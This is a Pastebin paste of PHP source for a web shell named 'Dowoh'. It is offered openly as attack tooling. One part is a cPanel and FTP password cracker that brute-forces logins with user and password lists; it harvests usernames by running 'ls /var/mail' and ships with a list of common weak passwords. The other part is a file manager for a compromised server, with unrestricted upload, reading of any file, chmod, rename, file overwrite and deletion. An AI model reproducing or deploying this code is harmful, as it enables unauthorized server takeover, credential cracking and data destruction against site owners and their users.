mheezand

Shell Dowoh

Feb 18th, 2015
351
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 20.83 KB | None | 0 0
  1. <table width="67%" style="border: 2px dashed #1D1D1D; background-color: #000000; color:#D2B48C">
  2. <tr><td align=center>
  3. </td></tr>
  4. </table>
  5. <?php
  6. if($auth == 1) {
  7. if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
  8.    {
  9.    header('WWW-Authenticate: Basic realm="0day.com"');
  10.    header('HTTP/1.0 401 Unauthorized');
  11.    exit("<b>Wrong user or pass !!</b>");
  12.    }
  13. }
  14.  
  15. $connect_timeout=5;
  16. set_time_limit(0);
  17. $submit=$_REQUEST['submit'];
  18. $users=$_REQUEST['users'];
  19. $pass=$_REQUEST['passwords'];
  20. $target=$_REQUEST['target'];
  21. $cracktype=$_REQUEST['cracktype'];
  22.  
  23.  
  24. if($target == ""){
  25. $target = "localhost";
  26. }
  27.  
  28. ?>
  29. <html>
  30. <head>
  31. <meta http-equiv="Content-Language" content="en-us">
  32. </head>
  33. <body text="#00FF00" bgcolor="#000000" vlink="#008000" link="#008000" alink="#008000">
  34. <div align="center">
  35. <form method="POST" style="border: 1px solid #000000">
  36. <table width="67%" style="border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0">
  37. <tr><td align=center>
  38.  <font face="Courier New" size=4 color=yellow>Cpanel + FTP Cracker</font>
  39. </td></tr>
  40. </table>
  41. <?php
  42. function ftp_check($host,$user,$pass,$timeout){
  43. $ch = curl_init();
  44. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  45. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  46. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  47. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  48. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  49. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  50. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  51. $data = curl_exec($ch);
  52. if ( curl_errno($ch) == 28 ) { print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
  53. <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  54. Please Check The Target Hostname .</font></font></b></p>";exit;}
  55. elseif ( curl_errno($ch) == 0 ){
  56. print "<table width='67%' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'><tr><td align=center><b><font face=\"Tahoma\" color=\"#FF0000\">[+]</font><font>
  57. Cracking Success With Username (</font><font color=\"#FF0000\">$user</font><font>) and Password (</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">)</font></b></td></tr></table>";}curl_close($ch);}
  58. function cpanel_check($host,$user,$pass,$timeout){
  59. $ch = curl_init();
  60. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  61. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  62. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  63. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  64. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  65. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  66. $data = curl_exec($ch);
  67. if ( curl_errno($ch) == 28 ) { print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
  68. <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  69. Please Check The Target Hostname .</font></font></b></p>";exit;}
  70. elseif ( curl_errno($ch) == 0 ){
  71. print "<table width='67%' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'><tr><td align=center><b><font face=\"Tahoma\" color=\"#FF0000\">[+]</font><font>
  72. Cracking Success With Username (</font><font color=\"#FF0000\">$user</font><font>) and Password (</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">)</font></b></td></tr></table>";}curl_close($ch);}
  73. if(isset($submit) && !empty($submit)){
  74. if(empty($users) && empty($pass)){ print "<p><font face=\"Tahoma\" size=\"2\"><b><font color=\"#FF0000\">Error : </font>Please Check The Users or Password List Entry . . .</b></font></p>"; exit; }
  75. if(empty($users)){ print "<p><font face='Tahoma' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Users List Entry . . .</b></font></p>"; exit; }
  76. if(empty($pass) ){ print "<p><font face='Tahoma' size='2'><b><font color='#FF0000'>Error : </font>Please Check The Password List Entry . . .</b></font></p>"; exit; };
  77. $userlist=explode("\n",$users);
  78. $passlist=explode("\n",$pass);
  79. print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]#</font><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#FF0000\">
  80. Cracking Process Started, Please Wait ...</font></b><br><br>";
  81. foreach ($userlist as $user) {
  82. $pureuser = trim($user);
  83. foreach ($passlist as $password ) {
  84. $purepass = trim($password);
  85. if($cracktype == "ftp"){
  86. ftp_check($target,$pureuser,$purepass,$connect_timeout);
  87. }
  88. if ($cracktype == "cpanel")
  89. {
  90. cpanel_check($target,$pureuser,$purepass,$connect_timeout);
  91. }
  92. }
  93. }
  94. }
  95. ?><?
  96.                                  if($_POST['enter']){
  97. echo "<form method=POST action=''><table width='67%' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'>
  98.                <tr>
  99.                        <td> <br />
  100.        <p align='center'><b><font color='#FF0000'>
  101.                <span lang='en-us'>Server's IP</span> :</font><font face='Arial'>
  102.        </font><font face='Arial' color='#CC0000'>
  103.        <input type='text' name='target' size='16' value=$target style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'></font></b></p>
  104.        <p align='center'><b><font color='#008000' face='Tahoma' size='2'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></b></p>
  105.                        <div align='center'>
  106.                                <table width='55%' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'>
  107.                                        <tr>
  108.                                                <td align='center'>
  109.                                                                                                <span lang='en-us'><font color='#FF0000'><b>Username</b></font></span></td>
  110.                                                <td>
  111.                                                <p align='center'>
  112.                                                                                                <span lang='en-us'><font color='#FF0000'><b>Password</b></font></span></td>
  113.                                        </tr>
  114.                                </table>
  115.  
  116.                        <p align='center'>&nbsp;<textarea rows='20' name='users' cols='25' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'>";
  117.  
  118.       system('ls /var/mail');
  119.  
  120. echo "</textarea><textarea rows='20' name='passwords' cols='25' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'>123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\n332211\n1478963\n1478963.\ncpanel\npassword\nuser\npasswd\npasswords\n159357\n357951\n114477\npass\nPassword</textarea><br>
  121.        <br>
  122.                               <b> <font font color='#FF0000'>
  123.                                                Guess options</font></b><font style='font-size: 12pt;' size='-3' face='Verdana'><span style='font-size: 9pt;'>&nbsp;
  124.                                                <font face='Tahoma'>
  125.                                                <input name='cracktype' value='cpanel' style='font-weight: 700;' checked type='radio'></font></span></font><b><font size='2' face='Tahoma'>
  126.                                                Cpanel</font><font size='2' color='#cc0000' face='Tahoma'>
  127.                                                </font><font size='2' color='#FFFFFF' face='Tahoma'>
  128.                                                (2082)</font></b><font size='2' face='Tahoma'><b> </b>
  129.                                                </font>
  130.                                                <font style='font-size: 12pt;' size='-3' face='Verdana'>
  131.                                                <span style='font-size: 9pt;'><font face='Tahoma'>
  132.                                                <input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></span></font><font style='font-weight: 700;' size='2' face='Tahoma'>
  133.                                                </font><span style='font-weight: 700;'>
  134.                                                <font size='2' face='Tahoma'>Ftp </font>
  135.                                                <font size='2' color='#FFFFFF' face='Tahoma'>
  136.                                                (21)</font></span></p>
  137.        <p align='center'><option value='name'>&nbsp;&nbsp;&nbsp;&nbsp;
  138.        <input type='submit' value='   Crack it !   ' name='submit' style='color: #FF0000; font-weight: bold; border: 1px dashed #333333; background-color: #000000'></p>
  139.                        </td>
  140.                </tr>
  141.        </table>
  142.  
  143.    <p align='center'></td>
  144.  </tr>
  145.  </form>
  146.  <table width='67%' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'>
  147. <tr><td align=center>
  148. <font face='Courier New' size=2 color=yellow>[Coded By mas-untung [dot][tk]]<br />Copyright reserved to mas-untung [dot] [tk]</font>
  149. </td></tr>
  150. </table>
  151.  ";die();
  152. }
  153. ?>
  154.  <table width='67%' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'>
  155. <tr><td align=center><form method=POST action='' align=center><input type=submit name=enter value=" Enter " style='color: #FF0000; font-weight: bold; border: 1px dashed #333333; background-color: #000000' /></form></td></tr></table><br />
  156.  
  157.  
  158. <table width="67%" style="border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0">
  159. <tr><td align=center>
  160. </td></tr>
  161. </table>
  162.  
  163. <html><head>
  164. <title>Dowoh</title><link REL="SHORTCUT ICON" HREF="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/16.gif"></link>
  165. <style type="text/css">
  166. <!--
  167. body,table { font-family:verdana;font-size:11px;color:red;background-color:black; }
  168. table { width:100%; }
  169. table,td { border:1px solid black;margin-top:2;margin-bottom:2;padding:5px; }
  170. a { color:lightblue;text-decoration:none; }
  171. a:active { color:#00FF00; }
  172. a:link { color:#5B5BFF; }
  173. a:hover { text-decoration:underline; }
  174. a:visited { color:#99CCFF; }
  175. input,select,option { font:8pt tahoma;color:red;margin:2;border:1px solid lime; }
  176. textarea { color:lime;font:verdana bold;border:1px solid lime;margin:2; }
  177. .fleft { float:left;text-align:left; }
  178. .fright { float:right;text-align:right; }
  179. #pagebar { font:8pt tahoma;padding:5px; border:3px solid black; border-collapse:collapse; }
  180. #pagebar td { vertical-align:top; }
  181. #pagebar p { font:8pt tahoma;}
  182. #pagebar a { font-weight:bold;color:#00FF00; }
  183. #pagebar a:visited { color:#00CE00; }
  184. #mainmenu { text-align:center; }
  185. #mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
  186. #maininfo,.barheader,.barheader2 { text-align:center; }
  187. #maininfo td { padding:3px; }
  188. .barheader { font-weight:bold;padding:5px; }
  189. .barheader2 { padding:5px;border:2px solid black; }
  190. .contents,.explorer { border-collapse:collapse;}
  191. .contents td { vertical-align:top; }
  192. .mainpanel { border-collapse:collapse;padding:5px; }
  193. .barheader,.mainpanel table,td { border:1px solid green; }
  194. .mainpanel input,select,option { border:1px solid black;margin:0; }
  195. input[type="submit"] { border:1px solid lime; }
  196. input[type="text"] { padding:3px;}
  197. .shell { background-color:black;color:black;padding:5px; }
  198. .fxerrmsg { color:red; font-weight:bold; }
  199. #pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
  200. #pagebar,.mainpanel,input[type="submit"] { background-color:black; }
  201. .barheader2,input,select,option,input[type="submit"]:hover { background-color:black; }
  202. textarea,.mainpanel input,select,option { background-color:#000000; }
  203. // -->
  204. </style>
  205. </head>
  206. <?php
  207. set_time_limit(0);
  208. error_reporting(0);
  209.  
  210. if(get_magic_quotes_gpc()){
  211.     foreach($_POST as $key=>$value){
  212.         $_POST[$key] = stripslashes($value);
  213.     }
  214. }
  215. echo '<!DOCTYPE HTML>
  216. <HTML>
  217. <HEAD>
  218. <title>Dowoh</title>
  219. <style>
  220. body{
  221.    font-family: "Racing Sans One", cursive;
  222.    background-color: #e6e6e6;
  223.    text-shadow:0px 0px 1px #757575;
  224. }
  225. #content tr:hover{
  226.    background-color: #636263;
  227.    text-shadow:0px 0px 10px #fff;
  228. }
  229. #content .first{
  230.    background-color: silver;
  231. }
  232. #content .first:hover{
  233.    background-color: silver;
  234.    text-shadow:0px 0px 1px #757575;
  235. }
  236. table{
  237.    border: 1px #000000 dotted;
  238. }
  239. H1{
  240.    font-family: "Rye", cursive;
  241. }
  242. a{
  243.    color: #000;
  244.    text-decoration: none;
  245. }
  246. a:hover{
  247.    color: #fff;
  248.    text-shadow:0px 0px 10px #ffffff;
  249. }
  250. input,select,textarea{
  251.    border: 1px #000000 solid;
  252.    -moz-border-radius: 5px;
  253.    -webkit-border-radius:5px;
  254.    border-radius:5px;
  255. }
  256. </style>
  257. </HEAD>
  258. <BODY>
  259. <H1><center>mas-untung [dot] [tk]</center></H1>
  260. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  261. <tr><td>Current Path : ';
  262. if(isset($_GET['path'])){
  263.     $path = $_GET['path'];  
  264. }else{
  265.     $path = getcwd();
  266. }
  267. $path = str_replace('\\','/',$path);
  268. $paths = explode('/',$path);
  269.  
  270. foreach($paths as $id=>$pat){
  271.     if($pat == '' && $id == 0){
  272.         $a = true;
  273.         echo '<a href="?path=/">/</a>';
  274.         continue;
  275.     }
  276.     if($pat == '') continue;
  277.     echo '<a href="?path=';
  278.     for($i=0;$i<=$id;$i++){
  279.         echo "$paths[$i]";
  280.         if($i != $id) echo "/";
  281.     }
  282.     echo '">'.$pat.'</a>/';
  283. }
  284. echo '</td></tr><tr><td>';
  285. if(isset($_FILES['file'])){
  286.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  287.         echo '<font color="green">upload Berhasil ^_^</font><br />';
  288.     }else{
  289.         echo '<font color="red">File Upload Error.</font><br />';
  290.     }
  291. }
  292. echo '<form enctype="multipart/form-data" method="POST">
  293. Upload File : <input type="file" name="file" />
  294. <input type="submit" value="Tendang" />
  295. </form>
  296. </td></tr>';
  297. if(isset($_GET['filesrc'])){
  298.     echo "<tr><td>Current File : ";
  299.     echo $_GET['filesrc'];
  300.     echo '</tr></td></table><br />';
  301.     echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  302. }elseif(isset($_GET['option']) && $_POST['opt'] != 'Bakar'){
  303.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  304.     if($_POST['opt'] == 'chmod'){
  305.         if(isset($_POST['perm'])){
  306.             if(chmod($_POST['path'],$_POST['perm'])){
  307.                 echo '<font color="green">Change Permission Done.</font><br />';
  308.             }else{
  309.                 echo '<font color="red">Change Permission Error.</font><br />';
  310.             }
  311.         }
  312.         echo '<form method="POST">
  313.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'"
  314.  
  315. />
  316.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  317.        <input type="hidden" name="opt" value="chmod">
  318.        <input type="submit" value="Tendang" />
  319.        </form>';
  320.     }elseif($_POST['opt'] == 'rename'){
  321.         if(isset($_POST['newname'])){
  322.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  323.                 echo '<font color="green">Change Name Done.</font><br />';
  324.             }else{
  325.                 echo '<font color="red">Change Name Error.</font><br />';
  326.             }
  327.             $_POST['name'] = $_POST['newname'];
  328.         }
  329.         echo '<form method="POST">
  330.        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  331.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  332.        <input type="hidden" name="opt" value="rename">
  333.        <input type="submit" value="Tendang" />
  334.        </form>';
  335.     }elseif($_POST['opt'] == 'edit'){
  336.         if(isset($_POST['src'])){
  337.             $fp = fopen($_POST['path'],'w');
  338.             if(fwrite($fp,$_POST['src'])){
  339.                 echo '<font color="green">Edit File Done.</font><br />';
  340.             }else{
  341.                 echo '<font color="red">Edit File Error.</font><br />';
  342.             }
  343.             fclose($fp);
  344.         }
  345.         echo '<form method="POST">
  346.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  347.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  348.        <input type="hidden" name="opt" value="edit">
  349.        <input type="submit" value="Tendang" />
  350.        </form>';
  351.     }
  352.     echo '</center>';
  353. }else{
  354.     echo '</table><br /><center>';
  355.     if(isset($_GET['option']) && $_POST['opt'] == 'Bakar'){
  356.         if($_POST['type'] == 'dir'){
  357.             if(rmdir($_POST['path'])){
  358.                 echo '<font color="green">File berhasil di bakar</font><br />';
  359.             }else{
  360.                 echo '<font color="red">File gagal di Bakar</font><br />';
  361.             }
  362.         }elseif($_POST['type'] == 'file'){
  363.             if(unlink($_POST['path'])){
  364.                 echo '<font color="green">File berhasil di bakar</font><br />';
  365.             }else{
  366.                 echo '<font color="red">File gagal di Bakar</font><br />';
  367.             }
  368.         }
  369.     }
  370.     echo '</center>';
  371.     $scandir = scandir($path);
  372.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  373.    <tr class="first">
  374.        <td><center>Name</center></td>
  375.        <td><center>Size</center></td>
  376.        <td><center>Permissions</center></td>
  377.        <td><center>Options</center></td>
  378.    </tr>';
  379.  
  380.     foreach($scandir as $dir){
  381.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  382.         echo "<tr>
  383.        <td><a href=\"?path=$path/$dir\">$dir</a></td>
  384.        <td><center>--</center></td>
  385.        <td><center>";
  386.         if(is_writable("$path/$dir")) echo '<font color="green">';
  387.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  388.         echo perms("$path/$dir");
  389.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  390.        
  391.         echo "</center></td>
  392.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  393.        <select name=\"opt\">
  394.         <option value=\"\"></option>
  395.        <option value=\"Bakar\">Bakar</option>
  396.        <option value=\"chmod\">Chmod</option>
  397.        <option value=\"rename\">Rename</option>
  398.        </select>
  399.        <input type=\"hidden\" name=\"type\" value=\"dir\">
  400.        <input type=\"hidden\" name=\"name\" value=\"$dir\">
  401.        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  402.        <input type=\"submit\" value=\">\" />
  403.        </form></center></td>
  404.        </tr>";
  405.     }
  406.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  407.     foreach($scandir as $file){
  408.         if(!is_file("$path/$file")) continue;
  409.         $size = filesize("$path/$file")/1024;
  410.         $size = round($size,3);
  411.         if($size >= 1024){
  412.             $size = round($size/1024,2).' MB';
  413.         }else{
  414.             $size = $size.' KB';
  415.         }
  416.  
  417.         echo "<tr>
  418.        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  419.        <td><center>".$size."</center></td>
  420.        <td><center>";
  421.         if(is_writable("$path/$file")) echo '<font color="green">';
  422.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  423.         echo perms("$path/$file");
  424.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  425.         echo "</center></td>
  426.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  427.        <select name=\"opt\">
  428.         <option value=\"\"></option>
  429.        <option value=\"Bakar\">Bakar</option>
  430.        <option value=\"chmod\">Chmod</option>
  431.        <option value=\"rename\">Rename</option>
  432.        <option value=\"edit\">Edit</option>
  433.        </select>
  434.        <input type=\"hidden\" name=\"type\" value=\"file\">
  435.        <input type=\"hidden\" name=\"name\" value=\"$file\">
  436.        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  437.        <input type=\"submit\" value=\">\" />
  438.        </form></center></td>
  439.        </tr>";
  440.     }
  441.     echo '</table>
  442.    </div>';
  443. }
  444. echo '
  445. </BODY>
  446. </HTML>';
  447. function perms($file){
  448.     $perms = fileperms($file);
  449.  
  450. if (($perms & 0xC000) == 0xC000) {
  451.     // Socket
  452.     $info = 's';
  453. } elseif (($perms & 0xA000) == 0xA000) {
  454.     // Symbolic Link
  455.     $info = 'l';
  456. } elseif (($perms & 0x8000) == 0x8000) {
  457.     // Regular
  458.     $info = '-';
  459. } elseif (($perms & 0x6000) == 0x6000) {
  460.     // Block special
  461.     $info = 'b';
  462. } elseif (($perms & 0x4000) == 0x4000) {
  463.     // Directory
  464.     $info = 'd';
  465. } elseif (($perms & 0x2000) == 0x2000) {
  466.     // Character special
  467.     $info = 'c';
  468. } elseif (($perms & 0x1000) == 0x1000) {
  469.     // FIFO pipe
  470.     $info = 'p';
  471. } else {
  472.     // Unknown
  473.     $info = 'u';
  474. }
  475.  
  476. // Owner
  477. $info .= (($perms & 0x0100) ? 'r' : '-');
  478. $info .= (($perms & 0x0080) ? 'w' : '-');
  479. $info .= (($perms & 0x0040) ?
  480.             (($perms & 0x0800) ? 's' : 'x' ) :
  481.             (($perms & 0x0800) ? 'S' : '-'));
  482.  
  483. // Group
  484. $info .= (($perms & 0x0020) ? 'r' : '-');
  485. $info .= (($perms & 0x0010) ? 'w' : '-');
  486. $info .= (($perms & 0x0008) ?
  487.             (($perms & 0x0400) ? 's' : 'x' ) :
  488.             (($perms & 0x0400) ? 'S' : '-'));
  489.  
  490. // World
  491. $info .= (($perms & 0x0004) ? 'r' : '-');
  492. $info .= (($perms & 0x0002) ? 'w' : '-');
  493. $info .= (($perms & 0x0001) ?
  494.             (($perms & 0x0200) ? 't' : 'x' ) :
  495.             (($perms & 0x0200) ? 'T' : '-'));
  496.  
  497.     return $info;
  498. }
  499. echo base64_decode('aGFja2Vk');
  500. ?>
Add Comment
Please, Sign In to add comment